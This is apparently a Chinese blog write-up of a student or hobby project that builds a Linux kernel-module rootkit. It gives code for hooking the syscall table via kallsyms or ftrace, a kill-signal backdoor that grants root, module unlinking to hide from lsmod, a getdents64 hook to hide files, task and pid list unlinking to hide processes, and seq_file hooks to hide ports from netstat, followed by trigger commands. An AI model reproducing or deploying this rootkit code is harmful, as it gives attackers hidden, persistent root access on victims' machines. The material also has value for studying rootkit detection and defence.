本文最后更新于:2023年3月21日 晚上
GitHub链接
演示Slides
overview rootkit是一种恶意软件,攻击者可以在获得 root 或管理员权限后安装它,从而隐藏入侵并保持root权限访问 。rootkit可以是用户级的,也可以是内核级的。关于rootkit的详细介绍可以参考https://en.wikipedia.org/wiki/rootkit
有许多技术可以实现rootkit,本项目使用的是通过编写LKM(Linux kernel module)并hook系统调用表的方式。这种方式具有诸多优点,比如rootkit作为内核模块可以动态的加载和卸载,大多数rootkit也都是通过LKM的方式实现的
LKM 一个简单的LKM示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static int __init example_init (void ) { printk(KERN_INFO "Hello, World!\n" ); return 0 ; }static void __exit example_exit (void ) { printk(KERN_INFO "Goodbye, World!\n" ); } module_init(example_init); module_exit(example_exit);
在完成了对应Makefile的编写之后,使用make
命令可以编译出ko文件(kernel object),使用insmod rootkit.ko
命令可以安装内核模块,使用rmmod rootkit
可以卸载rootkit模块,使用dmesg
命令可以打印程序中printk的信息
hook系统调用 用户进程通过系统调用使用内核服务。系统调用会进入内核,让内核执行服务然后返回,关于系统调用的更多信息,可以使用man -k syscall
获取。如下图所示,hook可以劫持正常的系统调用,让内核执行我们自行设计的函数,从而实现我们自己想要的功能
比如,当用户使用ls命令列出该目录下所有文件的时候,本质上是使用了getdents64
系统调用,如果我们将getdents64
的地址替换 为我们自己构造的函数hook_getdents64
,即可劫持系统调用流程。因此,只要我们分析清楚了某一个shell命令底层所执行的系统调用,并成功对其进行hook,那么就可以成功实现rootkit的种种目的
strace
命令可以对系统调用进行跟踪,这可以帮助我们分析命令的函数调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $ strace -c ls % time seconds usecs/call calls errors syscall ------ ----------- ----------- --------- --------- ---------------- 0.00 0.000000 0 8 read 0.00 0.000000 0 1 write 0.00 0.000000 0 13 close 0.00 0.000000 0 12 fstat 0.00 0.000000 0 32 mmap 0.00 0.000000 0 9 mprotect 0.00 0.000000 0 2 munmap 0.00 0.000000 0 3 brk 0.00 0.000000 0 2 rt_sigaction 0.00 0.000000 0 1 rt_sigprocmask 0.00 0.000000 0 2 ioctl 0.00 0.000000 0 8 pread64 0.00 0.000000 0 2 1 access 0.00 0.000000 0 1 execve 0.00 0.000000 0 1 readlink 0.00 0.000000 0 2 2 statfs 0.00 0.000000 0 2 1 arch_prctl 0.00 0.000000 0 2 getdents64 0.00 0.000000 0 1 set_tid_address 0.00 0.000000 0 11 openat 0.00 0.000000 0 1 set_robust_list 0.00 0.000000 0 1 prlimit64 ------ ----------- ----------- --------- --------- ---------------- 100.00 0.000000 117 4 total
回到hook系统调用这个事情上来,内核中有一张系统调用表 ,存放了所有的系统调用的地址,我们需要找到这张表的地址,才能对系统调用“偷梁换柱”——将原本的syscall的地址替换为我们自己实现的syscall地址。也可以将系统调用表看做是一个数组,系统调用号为其索引,不同的系统调用号对应着不同的系统调用。需要小心的是,相同的系统调用函数,对于不同的架构,调用号是不同的。这个页面 列出了 Linux 支持的架构的所有系统调用
查找系统调用表的地址有很多方法,比如:
注意,由于rootkit与系统内核版本是强相关的,所以对于不同的内核,查找系统调用表的方式也不同,比如有的版本的内核无法使用kallsyms得到系统调用表地址,那么就可以考虑使用ftrace
使用kallsyms:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 static asmlinkage long (*real_sys_openat) (const struct pt_regs *) ;asmlinkage long hook_sys_openat (const struct pt_regs *) ; real_sys_call_table = (void *)kallsyms_lookup_name("sys_call_table" ); real_sys_openat = (void *)real_sys_call_table[__NR_openat]; disable_wp(); real_sys_call_table[__NR_openat] = (void *)my_sys_openat; enable_wp();
使用ftrace:
1 2 3 4 5 6 7 8 9 10 struct ftrace_hook hooks [] = { HOOK("__x64_sys_mkdir" , hook_mkdir, &orig_mkdir), HOOK("__x64_sys_getdents" , hook_getdents, &orig_getdents)}; fh_install_hooks(hooks, ARRAY_SIZE(hooks)); fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
在某些内核版本中,/proc/kallsyms
文件存储了系统调用吧和系统调用的地址信息,我们可以使用命令行获取:
1 cat /proc/kallsyms | grep xxx
同样的,对于不同的内核,系统调用函数的声明不同,这是一个对比:
1 2 3 4 5 6 7 8 int getdents (unsigned int fd, struct linux_dirent *dirp, unsigned int count) ;asmlinkage long sys_getdents (unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) ;
asmlinkage
是一个宏,告诉编译器在 CPU 堆栈上查找函数参数,而不是寄存器。众所周知,用户态程序调用syscall的时候,会下陷到内核态,此时会保存 CPU 堆栈中的所有寄存器(eax、ebx、ecx 等)。因此,从用户空间传递到内核空间的有关参数的信息都被保存在堆栈中,这也即是使用asmlinkage
的原因
对于新的系统调用,存储在寄存器中的参数会先被复制到pt_regs
结构体中,因此当我们编写hook函数的时候,需要先从这个结构体中获取对应的参数值
1 2 asmlinkage long hook_sys_openat (const struct pt_regs *) ;
此外由于内核空间和用户空间是隔离的,地址的映射并不互通,因此需要使用copy_to_user
和copy_from_user
进行数据的传输
提权
cred
是一个记录进程credentials信息的结构体,具体定义在cred.c
头文件中
prepare_creds()
返回当前进程的cred
结构
commit_creds()
将这个cred应用于当前进程,因此我们只需要对cred结构体进行修改即可实现提权
1 2 3 4 5 6 7 8 9 10 11 12 void get_root (void ) { struct cred *newcreds ; newcreds = prepare_creds(); if (newcreds == NULL ) return ; newcreds->uid.val = newcreds->gid.val = 0 ; newcreds->euid.val = newcreds->egid.val = 0 ; newcreds->suid.val = newcreds->sgid.val = 0 ; newcreds->fsuid.val = newcreds->fsgid.val = 0 ; commit_creds(newcreds); }
hook kill实现提权,当我们在shell中输入kill -64 <num>的时候会将shell提权到root,可以使用id命令验证这一点
1 2 3 4 5 6 7 8 9 10 11 asmlinkage long hook_kill (const struct pt_regs *regs) { pid_t pid = regs->di; int sig = regs->si; if (sig == 64 ) { printk(KERN_INFO " get_root " ); get_root(); } return orig_kill(regs); }
模块隐藏 lsmod命令可以列出已安装的内核模块,rmmod可以删除。模块隐藏也即是让lsmod命令无法输出我们的模块
内核使用module结构体存储模块信息,可以看到module封装了list双向链表,下面的源码可以在module.h
中找到
1 2 3 4 5 6 7 8 struct module { enum module_state state ; struct list_head list ; }
为了隐藏模块,我们只需把对应rootkit模块的list从全局链表中删除即可。内核已经替我们实现了list_del和list_add函数,它们被封装在list.h头文件中,我们调用即可。在下面的代码中,THIS_MODULE宏指向当前模块的module struct
值得注意的是,为了恢复节点,我们需要临时保存节点的信息
1 2 3 4 5 static void hide_myself (void ) { list_del(&THIS_MODULE->list ); }static void show_myself (void ) { list_add(&THIS_MODULE->list , module_prev); }static inline void module_info (void ) { module_prev = THIS_MODULE->list .prev; }
文件隐藏 ls命令可以打印出文件,为了深入研究ls做了什么,可以使用strace命令进行追踪。strace具有许多有趣的选项,比如-c
可以打印出统计表格, -p
可以追踪某一进程,等等
一通分析后可以发现ls命令调用了getdents64 syscall
(实际上有些较新的内核版本仍然会调用getdents
函数而不是较新的getdents64
,这个后面还会提到),该函数可以得到目录的entry,并返回读取的字节数。我们可以通过对该函数进行hook从而达到隐藏文件的目的
下面是hook_getdents64函数的设计,省略了一些报错处理和别的细节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 static asmlinkage long (*orig_getdents64) (const struct pt_regs *) ;asmlinkage long hook_getdents64 (const struct pt_regs *) ;asmlinkage int hook_getdents64 (const struct pt_regs *regs) { struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; while (tlen > 0 ) { len = current_dir->d_reclen; tlen = tlen - len; if (check_file(current_dir->d_name)) { ret = ret - len; memmove(current_dir, (char *)current_dir + current_dir->d_reclen, tlen); } else current_dir = (struct linux_dirent64 *)((char *)current_dir + current_dir->d_reclen); } return orig_getdents64(regs); }
为了设计出上面的代码我们需要详细理解linux_dirent结构体和linux_dirent64结构体,它们分别对应getdents函数和getdents64函数,后者是为了处理更大的文件系统和偏移而设计的,细节如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 struct linux_dirent { unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[]; }struct linux_dirent64 { ino64_t d_ino; off64_t d_off; unsigned short d_reclen; unsigned char d_type; char d_name[]; };
对于getdents函数的hook,与getdents64函数的hook有一些不同,这里暂且略去
进程隐藏 linux内核维护了task_struct和pid两个链表,分布记录了进程的task_struct结构和pid结构
想要查看当前是否有rootkit进程有两个常规操作:
遍历task_struct链表
遍历/proc/pid中所有进程
要想隐藏进程,就要考虑将rootkit相关的task struct和pid都摘除列表,即要从下面两点出发:
脱离 task_struct 链表
脱离 pid 链表
那么首先看下linux中使用的相关的结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 struct pid { refcount_t count; unsigned int level; struct hlist_head tasks [PIDTYPE_MAX ]; wait_queue_head_t wait_pidfd; struct rcu_head rcu ; struct upid numbers [1]; };struct task_struct { ...... struct pid *thread_pid ; struct hlist_node pid_links [PIDTYPE_MAX ]; struct list_head thread_group ; struct list_head thread_node ; ...... #endif struct sched_info sched_info ; struct list_head tasks ; list_head 通过list_head将当前进程的task_struct串联进内核的进程列表中 ..... }struct list_head {struct list_head *next , *prev ; };struct hlist_node { struct hlist_node *next ; struct hlist_node **pprev ; };
相关的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct task_struct *pid_task (struct pid *pid, enum pid_type type) find_vpid () list_add () list_del () hlist_add_head_rcu () list_add_tail_rcu () list_del_rcu () hlist_del_rcu () INIT_HLIST_NODE () INIT_LIST_HEAD () list_for_each_entry_safe () kmalloc () kfree ()
自定义的数据结构
1 2 3 4 5 6 7 8 static struct list_head hide_list_header = LIST_HEAD_INIT(hide_list_header);struct hide_node { pid_t pid_victim_t ; struct task_struct * task_use_t ; struct list_head hide_list_header_t ; };
使用的函数
1 2 3 int hide_pid_fn (pid_t pid_victim) ;int recover_pid_fn (pid_t pid_victim) ;int recover_pid_all () ;
大致的流程:
1 hide_pid_fn(pid_t pid_victim);
根据pid用find_vpid()找到对应的pid结构体
成功找到pid结构体后利用pid_task()找到对应的task struct
利用链表操作函数hlist_del_rcu对task struct 结点进行脱链,并用INIT_HLIST_NODE设置task struct 的前后指针
然后根据task struct 找到对应的pid 的结点,利用hlist_del_rcu进行脱链,INIT_HLIST_NODE设置其指针为空,并将pprev指向自身。
此时进程已经成功摘除链表被隐藏,但是需要记录对应结构,方便之后恢复
用kmalloc申请一个hide_node类型结点的空间,设置对应的pid号和task struct指针,并通过list_head将其增加到hide_list_header 链表上进行记录
到此完成隐藏进程功能,并未后面恢复做准备
1 recover_pid_fn(pid_t pid_victim);
通过list_for_each_entry_safe来遍历hide_list_header链表,直到找到和pid对应的hide_node的进程。然后利用hlist_add_head_rcu将pid链入对应的pid链表,利用list_add_tail_rcu将task链入对应的task struct链表
这里同样通过list_for_each_entry_safe来遍历hide_list_header链表
针对其中的每一个隐藏的进程,利用hlist_add_head_rcu将pid链入对应的pid链表,利用list_add_tail_rcu将task链入对应的task struct链表
端口隐藏
端口隐藏即隐藏已经被使用的端口,在linux中查看已经使用的端口有两个命令,一个是netstat,一个是ss,两个命令调用的系统调用不同,因此实际隐藏的过程也不同
netstat在读取端口信息时会读取以下四个文件(对应的网络协议为tcp、udp、tcp6、udp6):/proc/net/tcp、/proc/net/udp、/proc/net/tcp6/、/proc/net/udp6
这几个文件都是序列文件,即seq_file,seq_file定义的结构体如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct seq_file { char *buf; size_t size; size_t from; size_t count; size_t pad_until; loff_t index; loff_t read_pos; u64 version; struct mutex lock ; const struct seq_operations *op ; int poll_event; const struct file *file ; void *private ; };
seq_operations定义的结构体为
1 2 3 4 5 6 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
seq_operations的show函数即为netstat要输出的信息,我们只需要将该函数的 hook掉,在hook之前需要先保存show函数的地址,对应的函数为set_seq_opeartions
1 void set_seq_operations (const char * open_path,struct seq_operations** operations) ;
我们在全局变量中声明了一个链表,变量名为hidden_port_list_head,它的作用为存储需要被隐藏的端口的信息,当想隐藏端口时,调用hide_connect 函数,它的定义为
1 void hide_connect (int type, int port)
其中type为网络类型(tcp/udp/tcp6/udp6),port为端口号,该函数会将需要隐藏的端口添加到链表上。
1 2 3 4 5 6 node = kmalloc(sizeof (struct port_node), GFP_KERNEL); node->port = port; node->type = type; list_add_tail(&node->list , &hidden_port_list_head);
当不想隐藏该端口时,使用hide_unconnect 函数将该节点从链表中删除
1 2 3 4 5 6 7 8 9 10 void unhide_connect (int type, int port) { list_for_each_entry_safe(entry, next_entry, &hidden_port_list_head, list ){ if (entry->port == port && entry->type == type){ pr_info("Unhiding: %d" , port); list_del(&entry->list ); kfree(entry); return ; } } }
隐藏端口的链表会在我们定义的hook函数中用到
首先要让定义的hook函数的参数与需要被hook的函数参数相同
1 int fake_seq_show (struct seq_file *seq, void *v)
hook函数首先判断网络类型,之后调用原show函数,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if (seq->op == tcp_operations){ type = TCP_CONNECT; ret = tcp_seq_fun(seq,v); }else if (seq->op == udp_operations){ type = UDP_CONNECT; ret = udp_seq_fun(seq,v); }else if (seq->op == tcp6_operations){ type = TCP6_CONNECT; ret = tcp6_seq_fun(seq,v); }else if (seq->op == udp6_operations){ type = UDP6_CONNECT; ret = udp6_seq_fun(seq,v); }
show函数会将需要展示的端口信息放在seq->buf中,而seq->count记录了buf的缓冲区长度,代码的逻辑为判断新增的缓冲区的字符串是否和想要的隐藏的端口信息相同,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 list_for_each_entry(node, &hidden_port_list_head, list ){ if (type == node->type){ snprintf (port_str_buf, PORT_STR_LEN, ":%04X" , node->port); if (strnstr(seq->buf + last_len, port_str_buf, this_len)){ pr_info("Hiding port: %d" , node->port); seq->count = last_len; break ; } } }
功能测试 模块编译、安装、卸载:
1 2 3 4 5 sudo make sudo insmod rootkit.ko sudo rmmod rootkit
提权:
模块隐藏与恢复
1 2 echo hidemodule >/dev/ null echo showmodule >/dev/ null
进程隐藏与恢复
1 2 echo hideprocess [PID] >/dev/ null echo showprocess [PID] >/dev/ null
文件隐藏与恢复
1 2 echo hidefile [filename] >/dev/ null echo showfile [filename] >/dev/ null
端口隐藏与恢复
1 2 echo hideport [port] >/dev/ null echo showport [port] >/dev/ null
参考资料